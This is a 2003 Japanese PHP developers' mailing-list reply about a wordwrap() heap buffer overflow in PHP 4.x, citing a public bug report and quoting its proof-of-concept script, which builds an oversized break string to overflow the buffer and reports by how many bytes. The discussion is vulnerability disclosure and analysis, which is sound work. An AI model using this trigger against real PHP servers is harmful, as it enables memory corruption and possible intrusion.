[PHP-dev 692] Re: 国際化版PHP 4.2.3のwordwrap()についてですが。。。

Moriyoshi Koizumi php-dev@php.gr.jp
Fri, 14 Feb 2003 10:46:45 +0900


小泉です。

Masayoshi Tsuchida <tsuchi@noisedance.com> wrote:
>  国際化版PHP4(http://nxweb.dyndns.org:8080/php-i18n-download.html)
> である、国際化版PHP 4.2.3 について質問させてください。
> 
> PHPのソースが解析できてないので申し訳ありませんが、以下の件で
> どのようになっているか教えていただければと思います。
> 

http://bugs.php.net/20927

をご覧ください。

この脆弱性は日本でもよく使われている DSL 接続ソフトの RP-PPPoE の作者さん
の報告だったのですが、ややスリリングなやりとりを上のページで見ることができ
ます。

# いかに開発者の頭が堅いか、もですね(笑)

以下ページからの抜粋です。

<?php
$part = "1234567890 X ";
$string = "";
for ($i=0; $i<10; $i++) {
    $string .= $part;
}

$break = "a-very-long-break-string-to-clobber-the-heap";
for ($i=0; $i<8; $i++) {
    $break .= $break;
}

$linelength = 10;
$wrapped = wordwrap($string, $linelength, $break, 1);

$textlen = strlen($string);
print("Length of original string:  $textlen\n");
$breakcharlen = strlen($break);
print("Length of break string:     $breakcharlen\n");
$newtextlen = strlen($wrapped);
print("Length of wrapped string:   $newtextlen\n");

$buffer = $textlen +
          intval(($textlen/$linelength + 1) * $breakcharlen * 1.1) + 1;

print("Size allocated by 4.3.0RC2: $buffer\n");
$overflow = $newtextlen - $buffer;
if ($overflow > 0) {
    print ("BUFFER OVERFLOW by $overflow bytes!\n");
}

?>

私なりの分析ですけれど、ユーザからの入力をそのまま、あるいは一旦 DB に格納
したものを wordwrap に与えるケースはある程度想像することができますが、そも
そも日本語ではあまり意味をなさない関数ですからね、実際のところ、どれだけ
exploit が有効なのかは計りかねます。